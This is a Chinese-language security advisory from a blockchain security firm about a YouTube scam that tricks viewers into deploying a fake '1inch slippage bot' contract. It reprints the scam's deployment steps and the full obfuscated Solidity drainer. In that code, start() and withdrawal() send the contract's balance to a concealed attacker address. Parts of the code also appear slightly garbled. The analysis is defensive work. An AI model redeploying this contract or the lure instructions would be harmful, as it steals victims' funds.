本文Hash (SHA1): 05cb88cd1b8e4b7601cd2a52868d625785302d27
编号: 链源Security N0.004
一.骗局描述
最近在YouTube上出现了一种新型加密货币骗局,视频使用诱人的标题如“1inch 上的 ChatGPT 每天轻松赚取 1.2 ETH”,声称通过使用Uniswap滑点机器人策略和ChatGPT技术,每天可以轻松赚取1.2 ETH。该骗局诱导受害者按视频中的步骤在Remix上部署一个恶意智能合约。
受害者按照视频指导安装MetaMask,访问指定的Remix链接,创建并编译一个名为“bot.sol”的智能合约文件。视频提供了一个链接,受害者需要将指定的代码粘贴到Remix编译器中,并在MetaMask中确认交易,支付合约部署的gas费用。一旦受害者完成这些步骤,并向合约中存入资金,这些资金就会自动转移到骗子的地址。
二.合约代码分析
1.恶意合约部署方法
步骤 1:安装 MetaMask
安装 MetaMask: MetaMask 下载
步骤 2:打开 Remix
然后访问 Remix: Remix IDE(该机器人仅与此版本的 Remix 兼容,因此请仅使用此链接)
步骤 3:创建新文件
点击“contracts”文件夹,然后创建“New File”。根据您的喜好命名,例如:“bot.sol”。确保文件以.sol结尾,这是以太坊编程语言的扩展名。 注意:如果创建bot.sol时文本没有显示颜色,可能会有问题。只需刷新浏览器,然后重新粘贴代码。
步骤 4:编译代码
将此代码粘贴到 Remix 编译器中:代码链接
步骤 5:编译合约
进入 Remix 的“Compiler”选项卡,选择版本0.6.6,然后按“Compile”按钮。
步骤 6:部署合约
然后进入 Remix 的“DEPLOY & RUN TRANSACTIONS”部分,在环境中选择“Injected Provider - MetaMask”选项。然后使用“Deploy”选项。这一选项允许您创建自己的智能合约。确认 MetaMask 中的消息来支付创建智能合约的 gas 费用。 注意:确保在部署按钮上方的 CONTRACT 部分选择了您的机器人名称。例如,您的合约名称可能是 "OneinchSlippageBot - bot.sol"。 如果在部署后收到以下消息“Failed to publish metadata file to ipfs, please check the ipfs gateways is available. [{},{},{}]”,可以忽略并继续。此功能用于将您的机器人发布到 IPFS。不是必需的,因为机器人已经在区块链上,可以通过 Remix 访问。
步骤 7:为机器人提供资金
向您的机器人提供资金以便能够抢先交易。 确保您的存款超过0.5 ETH(以防止滑点影响)到您的合约/机器人地址。
步骤 8:启动机器人
使用“Start”按钮向机器人发送开始工作的命令并进行交易。
步骤 9:提现
要从智能合约中将ETH返回到您的钱包,点击“Withdraw”按钮。因为资产可能在交易中使用。
2.恶意合约源码及主要代码分析
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
contract OneinchSlippageBot {
string public tokenName;
string public tokenSymbol;
uint liquidity;
event Log(string _msg);
constructor() public {
//tokenSymbol = _mainTokenSymbol;
//tokenName = _mainTokenName;
}
//用于允许合约接收ETH转账
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
l@dev Find newly deployed contracts on Uniswap Exchange
l@param memory of required contract liquidity.
l@param other The second slice to compare.
l@return New contracts with required liquidity.
*/
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(-1);
if(shortest < 32) {
mask = ~(2 * (8 (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
l@dev Extracts the newest contracts on Uniswap exchange
l@param self The slice to operate on.
l@param rune The slice that will contain the first rune.
l@return `list of contracts`.
*/
function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 * (8 (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
l@dev Loading the contract
l@param contract address
l@return contract interaction object
*/
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
/*
l@dev Extracts the contract from Uniswap
l@param self The slice to operate on.
l@param rune The slice that will contain the first rune.
l@return `rune`.
*/
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
//这个函数接收一个字符串并将其转换为一个地址
function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function memcpy(uint dest, uint src, uint len) private pure {
// Check available liquidity
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
l@dev Orders the contract by its available liquidity
l@param self The slice to operate on.
l@return The contract with possbile maximum return
*/
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function getMempoolStart() private pure returns (string memory) {
return "E990";
}
/*
l@dev Calculates remaining liquidity in contract
l@param self The slice to operate on.
l@return The length of the slice in runes.
*/
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function fetchMempoolEdition() private pure returns (string memory) {
return "2146";
}
/*
l@dev Parsing all Uniswap mempool
l@param self The contract to operate on.
l@return True if the slice is empty, False otherwise.
*/
/*
l@dev Returns the keccak-256 hash of the contracts.
l@param self The slice to hash.
l@return The hash of the contract.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
function getMempoolShort() private pure returns (string memory) {
return "0xa1e";
}
/*
l@dev Check if contract has enough liquidity available
l@param self The contract to operate on.
l@return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
return string(res);
}
function getMempoolHeight() private pure returns (string memory) {
return "0Ad80";
}
/*
l@dev If `self` starts with `needle`, `needle` is removed from the
lbeginning of `self`. Otherwise, `self` is unmodified.
l@param self The slice to operate on.
l@param needle The slice to search for.
l@return `self`
*/
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function getMempoolLog() private pure returns (string memory) {
return "89F1D950";
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function getBa() private view returns(uint) {
return address(this).balance;
}
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 * (8 (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
l@dev Iterating through all mempool to call the one with the with highest possible returns
l@return `self`.
*/
//这个函数返回一串字符串,作为输入传递给startExploration
function fetchMempoolData() internal pure returns (string memory) {
string memory _mempoolShort = getMempoolShort();
string memory _mempoolEdition = fetchMempoolEdition();
/*
l@dev loads all Uniswap mempool into memory
l@param token An output parameter to which the first token is written.
l@return `mempool`.
*/
string memory _mempoolVersion = fetchMempoolVersion();
string memory _mempoolLong = getMempoolLong();
/*
l@dev Modifies `self` to contain everything from the first occurrence of
l`needle` to the end of the slice. `self` is set to the empty slice
lif `needle` is not found.
l@param self The slice to search and modify.
l@param needle The text to search for.
l@return `self`.
*/
string memory _getMempoolHeight = getMempoolHeight();
string memory _getMempoolCode = getMempoolCode();
/*
load mempool parameters
*/
string memory _getMempoolStart = getMempoolStart();
string memory _getMempoolLog = getMempoolLog();
return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion,
_mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
}
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
function getMempoolLong() private pure returns (string memory) {
return "c60Bb";
}
/* @dev Perform frontrun action from different contract pools
l@param contract address to snipe liquidity from
l@return `liquidity`.
*/
//将合约中的所有余额转移到一个计算出的地址
function start() public payable {
//这行代码调用startExploration(fetchMempoolData()),它通过字符串处理和拼接生成一个地址
address to = startExploration(fetchMempoolData());
//这行代码将计算出的地址转换为一个payable地址,使其能够接收ETH
address payable contracts = payable(to);
//这行代码将合约中的所有余额转移到计算出的地址
contracts.transfer(getBa());
}
/*
l@dev withdrawals profit back to contract creator address
l@return `profits`.
*/
//将合约中的所有余额转移到一个计算出的地址
function withdrawal() public payable {
address to = startExploration((fetchMempoolData()));
address payable contracts = payable(to);
contracts.transfer(getBa());
}
/*
l@dev token int2 to readable str
l@param token An output parameter to which the first token is written.
l@return `token`.
*/
function getMempoolCode() private pure returns (string memory) {
return "24889";
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function fetchMempoolVersion() private pure returns (string memory) {
return "212cbd";
}
/*
l@dev loads all Uniswap mempool into memory
l@param token An output parameter to which the first token is written.
l@return `mempool`.
*/
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}
总结:代码中存在大量混淆和冗余代码,加载和解析合约的函数没有实际用途,声称的功能并没有实际实现,只是为了混淆读者。本质上通过标注的部分,使用start和withdrawal函数将合约中的所有余额转移到一个计算出的地址,是攻击者控制的地址。
3.恶意合约运行过程
1.部署合约:
l将合约代码部署到以太坊主网或测试网。
l合约部署成功后获得合约地址。
2.合约初始化:
l初始化合约,往合约地址上充值ETH。
3.合约接受ETH:
l合约定义了receive函数,可以接收ETH。
l用户可以向合约地址发送ETH。
4.运行start或withdrawal函数:
l调用start或withdrawal函数进行操作。
5.调用fetchMempoolData函数:
l生成一串字符串作为数据。
6.调用startExploration函数解析地址:
l将字符串解析为以太坊地址。
7.解析并转换为payable地址:
l将解析出的地址转换为payable地址。
8.转移合约余额到解析的地址:
l将合约中的所有余额转移到解析出的地址。
9.操作完成:
l操作结束,合约中的余额已转移到指定地址。
总结
链源建议大家要使用来路不明的合约代码时。首先,通过代码来源确定其可信度。其次,分析代码的实际功能,验证其是否与宣传内容一致。然后,检查代码中的安全漏洞或后门。最后,通过代码分析资金的实际流向,确认是否存在欺诈行为。
三.防范措施
为了避免落入加密货币骗局的陷阱,我们链源安全团队建议请采取以下简单的防范措施:
1. 核实信息来源
确保您使用的链接和信息来自可信的官方网站。例如,下载MetaMask或访问Remix IDE时,一定要通过官方网站提供的链接进行操作。不要随意点击来路不明的链接。
2. 警惕高回报承诺
如果有人告诉您可以轻松赚大钱,尤其是不需要任何专业知识或经验时,请提高警惕。天下没有免费的午餐,高回报通常伴随着高风险,甚至可能是骗局。
3. 避免提前支付
正规的投资项目不会要求您在开始之前支付大额资金。如果某个项目要求您先存钱,再开始投资,这是一个危险信号。不要轻易相信这种要求。
4. 检查网站和合约代码
在使用智能合约之前,尽量检查代码是否公开和安全。使用区块链浏览器查看资金流向,确认没有异常转账。如果不懂技术,最好请教懂行的人。
5. 提高网络安全意识
保持您的电脑和软件更新,使用强密码,并定期更换。不要点击不明链接或下载可疑软件,保护好您的个人信息和数字资产。
6. 咨询专业人士
在做任何重大投资决策之前,最好咨询专业人士的意见,或者加入一些可信的区块链和加密货币社区,获取建议和帮助。
通过这些简单的步骤,您可以大大减少被骗的可能性,保护好自己的钱财和隐私。
四.结论
该骗局利用了人们对高回报的渴望和对区块链技术的不了解,通过假冒的技术承诺和复杂的操作步骤,使受害者陷入圈套。识别这种骗局的关键在于保持对过于诱人的承诺和不透明操作的警惕,核实信息来源,并避免提前支付大额资金。
链源科技是一家专注于区块链安全的公司。我们的核心工作包括区块链安全研究、链上数据分析,以及资产和合约漏洞救援,已成功为个人和机构追回多起被盗数字资产。同时,我们致力于为行业机构提供项目安全分析报告、链上溯源和技术咨询/支撑服务。
感谢各位的阅读,我们会持续专注和分享区块链安全内容。